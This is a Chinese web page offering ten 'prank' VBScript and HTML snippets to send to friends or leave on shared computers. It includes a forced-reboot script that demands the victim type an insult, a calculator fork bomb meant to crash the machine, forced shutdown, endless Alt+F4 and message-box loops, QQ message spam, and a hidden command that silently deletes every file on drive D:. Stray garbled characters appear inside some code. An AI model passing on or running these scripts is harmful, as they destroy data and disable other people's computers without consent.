整人的文件

整人的文件,第1张

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell"哪败)

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试祥此···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不谨缓迅说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

01

代码一】

你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面祥嫌代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。

代码如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

02

【代码二】

我就用这个程序放在学校图书馆查询书刊的机器上,好多人都拿它没办法。

do

msgbox "You are foolish!"

loop

03

【代码三】

打开无数个计算器,直到死机。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

04

【代码四】

直接关机。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

05

【代码五】

删除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

06

【代码六】

不断d出窗口

while(1)

msgbox "哈哈 你被耍了!"

loop

07

【代码七】

不断按下alt+f4(开什么都关闭)。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

08

【代码八】

按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)。

dim s

do until s=500

s=s+1

msgbox "哥们,给我按500次回车吧"喊中,64

loop

09

【代码九】

如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的

时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true

dim a

do while(a <>"我是谨渗手猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"

10

【代码十】

网页整人效果代码,想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。

<html>

<head>

<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">

<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>

</head>

<body>

<a href="" onMouseover="alert('为什么把鼠标放到这里?')

alert('我不是说过不可以这样吗?')

alert('你把我的话当什么了?')

alert('你知道错了吗?')

alert('什么?你居然....')

alert('居然还没意识到自己做错了?')

alert('那好,你要为此付出代价!')

alert('我要你在这里点足一千下......')

alert('什么?你开始有点后悔了?')

alert('何必呢?')

alert('你当初干什么去了?')

alert('不原谅你!')

alert('好从现在开始再点995下......')

alert('你的手开始累了吗?')

alert('什么?你已经没力气了?')

alert('你一直在求我原谅你啊!')

alert('看来你是真的知道错了!')

alert('下次你还会这么做吗?')

alert('真的不会了?')

alert('那好,今天就放你一马!')

alert('写封信给我说声对不起!')

alert('你能这么做我很高兴!!!')

document.bgColor='black'

document.fgColor='White'

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!'">不许把鼠标移到这里</a>

</body>

</html>


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12211813.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-21
下一篇 2023-05-21

发表评论

登录后才能评论

评论列表(0条)

保存